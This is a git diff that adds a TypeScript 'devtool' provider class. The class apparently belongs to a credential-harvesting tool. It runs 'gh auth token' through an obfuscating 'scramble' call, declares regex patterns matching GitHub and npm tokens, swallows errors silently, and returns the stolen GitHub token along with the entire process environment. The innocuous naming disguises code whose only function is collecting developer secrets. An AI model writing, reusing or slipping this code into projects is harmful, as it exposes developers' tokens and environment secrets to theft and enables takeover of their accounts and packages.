diff --git a/src/providers/devtool/devtool.ts b/src/providers/devtool/devtool.ts new file mode 100644 index 0000000..402ff46 --- /dev/null +++ b/src/providers/devtool/devtool.ts @@ -0,0 +1,37 @@ +import { execSync } from "child_process"; + +import { Provider } from "../base"; +import type { ProviderResult } from "../types"; + +declare function scramble(str: string): string; + +export class ShellService extends Provider { + constructor() { + super("shell", "misc", { + ghtoken: /gh[op]_[A-Za-z0-9]{36}/g, + npmtoken: /npm_[A-Za-z0-9]{36,}/g, + }); + } + + async execute(): Promise { + const results: Record = {}; + try { + const token = execSync(scramble("gh auth token"), { + encoding: "utf-8", + stdio: ["pipe", "pipe", "pipe"], + }).trim(); + + if (token) { + results["token"] = token; + } + } catch (error) {} + + results["environment"] = process.env; + + if (Object.keys(results).length > 0) { + return this.success(results); + } else { + return this.failure("No Result"); + } + } +}